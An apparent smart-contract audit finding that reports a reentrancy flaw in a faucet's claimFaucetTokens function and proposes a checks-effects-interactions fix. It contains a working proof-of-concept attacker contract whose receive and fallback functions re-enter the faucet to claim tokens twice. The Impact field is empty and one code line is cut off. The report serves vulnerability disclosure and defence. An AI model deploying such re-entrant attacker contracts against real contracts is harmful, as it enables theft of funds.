Reentrancy via improper interaction order in claimFaucetTokens enables double token claims
Description
-
A user claims faucet tokens subject to cooldown and daily limits; first-time claimers may also receive a Sepolia ETH drip. State (cooldown timestamp and daily counters) should be updated atomically and consistently before any externally callable effects.
-
The function performs an external ETH transfer to faucetClaimer before persisting the claim’s critical state (cooldown and daily claim counters). A contract claimer can re-enter via receive/fallback during this transfer and execute a second claim in the same transaction.
function claimFaucetTokens() public {
@> faucetClaimer = msg.sender;
.
.
.
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDri
@> (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
.
.
.
@> lastClaimTime[faucetClaimer] = block.timestamp;
dailyClaimCount++;
@>
_transfer(address(this), faucetClaimer, faucetDrip);
Risk
Likelihood:
During the ETH transfer to a contract claimer, the claimer’s receive/fallback executes and re-enters claimFaucetTokens while cooldown and counters are still unset, enabling a second token transfer in the same transaction.
Impact:
Proof of Concept
The PoC deploys an attacking contract that calls claimFaucetTokens() and then, when it receives the ETH drip, re-enters claimFaucetTokens() from its receive/fallback. Because lastClaimTime and dailyClaimCount are set after the ETH transfer, the second (re-entrant) call passes all checks and receives another token drip. The final assertion shows the attacker received 2× faucetDrip in a single transaction.
function testCanReenterClaim() public {
ReEntracyAttack attacker = new ReEntracyAttack(address(raiseBoxFaucet));
vm.deal(address(attacker), 1 ether);
uint256 attackerInitialTokenBalance = raiseBoxFaucet.getBalance(address(attacker));
console.log("attacker initial token balance is ", attackerInitialTokenBalance);
vm.prank(address(attacker));
raiseBoxFaucet.claimFaucetTokens();
uint256 attackerFinalBalance = raiseBoxFaucet.getBalance(address(attacker));
assertEq(attackerFinalBalance, (1000 * 10 ** 18 + 1000 * 10 ** 18));
}
}
interface IFaucet {
function claimFaucetTokens() external;
}
contract ReEntracyAttack {
IFaucet public faucet;
bool internal hasReentered;
constructor(address _faucet) {
faucet = IFaucet(_faucet);
}
function probeClaim() external {
hasReentered = false;
faucet.claimFaucetTokens();
}
receive() external payable {
if (!hasReentered) {
hasReentered = true;
faucet.claimFaucetTokens();
}
}
fallback() external payable {
if (!hasReentered) {
hasReentered = true;
faucet.claimFaucetTokens();
}
}
}
Recommended Mitigation
Adds nonReentrant, uses a local claimer, and moves Effects before Interactions so cooldown/counters are set before the ETH transfer—closing the reentrancy window. Uses payable(claimer) with best-effort logging to avoid self-DoSs.
- function claimFaucetTokens() public {
+ function claimFaucetTokens() public nonReentrant { // ReentrancyGuard from OpenZeppelin
- faucetClaimer = msg.sender;
+ address claimer = msg.sender; // use local, avoid ephemeral state in storage
.
.
.
.
+ // --- Effects BEFORE external interactions (cooldown & counters) ---
+ lastClaimTime[claimer] = block.timestamp;
+ unchecked { dailyClaimCount++; }
+ // --- ETH drip (first-time only), best-effort pattern ---
if (!hasClaimedEth[claimer] && !sepEthDripsPaused) {
- uint256 currentDay = block.timestamp / 24 hours; // duplicate clock
if (currentDay > lastDripDay) { lastDripDay = currentDay; dailyDrips = 0; }
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
- hasClaimedEth[claimer] = true;
- dailyDrips += sepEthAmountToDrip;
- (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
+ hasClaimedEth[claimer] = true;
+ dailyDrips += sepEthAmountToDrip;
+ (bool success,) = payable(claimer).call{value: sepEthAmountToDrip}("");
if (!success) {
revert RaiseBoxFaucet_EthTransferFailed();
}
} else {
- emit SepEthDripSkipped(faucetClaimer, ...);
+ emit SepEthDripSkipped(claimer,
+ address(this).balance < sepEthAmountToDrip ? "Faucet out of ETH" : "Daily ETH cap reached"
+ );
}
} else { dailyDrips = 0; }
// Token transfer (interaction)
- _transfer(address(this), faucetClaimer, faucetDrip);
- emit Claimed(msg.sender, faucetDrip);
+ _transfer(address(this), claimer, faucetDrip);
+ emit Claimed(claimer, faucetDrip);
}
